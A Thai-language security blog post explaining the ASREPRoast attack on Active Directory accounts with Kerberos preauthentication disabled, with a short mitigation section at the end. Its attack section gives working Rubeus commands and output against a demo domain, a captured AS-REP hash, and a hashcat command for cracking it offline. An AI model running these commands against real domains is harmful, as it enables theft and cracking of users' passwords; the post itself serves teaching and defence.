ASREPRoast Attack

Pornsook Kornkitichai
INCOGNITO LAB
Published in
2 min readAug 19, 2021

เป็นวิธีการโจมตีโดยนำ message ที่ได้จาก step ของ TGT Reply หรือ AS_REP มาทำ offline attack เพื่อหา password ของ account ที่สนใจ

ลองดูรูปแบบปกติ TGT Reply จะถูกตอบกลับก็ต่อเมื่อ มีการส่ง TGT Request อย่างถูกต้องออกไปเท่านั้นซึ่งผู้ส่งต้องรู้ password ของ account นั้น ๆ เท่านั้นถึงจะส่งไปแล้ว KDC จึงตอบกลับมาด้วย TGT ของ account คนเดียวกัน ทำให้ attacker ไม่สามารถจะโจมตี account ใด ๆ ตามใจได้ โดยค่า enc(timestamp,hash_of_password) จะถูกเรียกว่า Kerberos Preauthentication

โดยปกติแล้ว Kerberos Preauthentication จะถูก enable โดย default แต่หากมี admin ซี้ซั้วตั้งค่าโดยไม่ตั้งใจตามภาพจะทำให้โจมตีด้วย ASREPRoast ได้

ASREPRoast Attack สามารถโจมตีได้โดยไม่จำเป็นต้องรู้ credential ของ domain accountใด ๆ เลย ดังนั้นหากมี misconfiguration ตามภาพจะสามารถทำ ASREPRoast ได้

Attack Methods

tools ในการโจมตีมีตัวเลือกเยอะ จึงขอเลือก tools ที่ทางผู้เขียนเคยใช้เป็นหลัก

  1. ใช้ PowEnum เลือก mode เป็น Roasting จะสามารถหา hash จาก Kerberoasting และ ASREPRoasting ได้

2. ใช้ Rubeus (https://github.com/GhostPack/Rubeus) เป็น tool ที่พัฒนาโดยอาศัย idea จาก project kekeo (https://github.com/gentilkiwi/kekeo) ของ Benjamin Delpy (คนเดียวกันกับคนสร้าง mimikatz) ที่ต้อง reinvent the wheel ก็เพราะว่า kekeo ใช้ commercial library ในการจัดการกับ Kerberos ASN.1 structures ทำให้ไม่สะดวกเวลาใช้งานจึงมีการทำ Rubeus ขึ้นมา

ให้ทำการ download และ build Rubeus ขึ้นมาหลังจากนั้นก็ใช้งานโดยให้อยู่ใน local network ของ domain environment นั้น ๆ (ไม่จำเป็นต้อง join domain) จากนั้น run คำสั่ง

# Rubeus.exe asreproast /outfile:out.txt /format:hashcat /domain:demodomain.local______        _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2[*] Action: AS-REP roasting[*] Target Domain : demodomain.local[*] SamAccountName : tbob
[*] DistinguishedName : CN=tbob,OU=TUsers,DC=demodomain,DC=local
[*] Using domain controller: demodomain.local (192.168.100.10)
[*] Building AS-REQ (w/o preauth) for: 'demodomain.local\tbob'
[+] AS-REQ w/o preauth successful!
[*] Hash written to D:\out.txt
[*] Roasted hashes written to : D:\out.txt

หากมีการแสดงข้อความ AS-REQ w/o preauth successful! แสดงว่ามี account ที่ disable preauthentication ให้นำ hash ที่ได้ไป offline crack ในลำดับถัดไป

$krb5asrep$23$tbob@demodomain.local:47AC2248725F4E6CE2295C380CXXXXXX$51A78E6C55B42D9EXXXXX....

ให้ดู​ hash type ของ hashcat ได้จาก https://hashcat.net/wiki/doku.php?id=example_hashes จะพบว่า code คือ 18200 จากนั้นให้ทำ offline crack ด้วย hashcat ตาม style, rules, dictionary และเทคนิคตามสะดวก

root@kali# hashcat -r hob064.rule -m 18200 hash1.txt rockyou.txt -o cracked.txt --force

Mitigation

ASREPRoast Attack จะทำได้ต้องอาศัย misconfiguration จาก admin ซึ่งหากไม่เกิด human error ขึ้น preauthentication จะมีอยู่โดย default ดังนั้นวิธีแก้จึงอยู่ที่การหลีกเลี่ยงการ disable preauthentication และหมั่นตรวจสอบการเปลี่ยนแปลงของ configuration ดังกล่าวเป็นประจำ และท้ายที่สุดต้องฝากความหวังไปที่การบังคับใช้ strong password ด้วย

--

--

Pornsook Kornkitichai
INCOGNITO LAB

I am a security engineer, Alice, and co-founder of Incognito Lab.